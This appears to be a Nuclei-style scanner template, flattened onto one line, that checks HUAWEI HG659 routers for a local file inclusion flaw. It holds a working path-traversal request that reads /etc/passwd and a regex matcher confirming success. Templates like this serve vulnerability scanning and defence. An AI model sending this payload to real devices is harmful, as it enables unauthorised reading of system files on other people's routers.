id: huawei-hg659-lfi info: name: HUAWEI HG659 LFI author: pikpikcu severity: high reference: - https://twitter.com/sec715/status/1406782172443287559 tags: lfi,huawei requests: - method: GET path: - "{{BaseURL}}/lib///....//....//....//....//....//....//....//....//etc//passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" condition: and - type: status status: - 200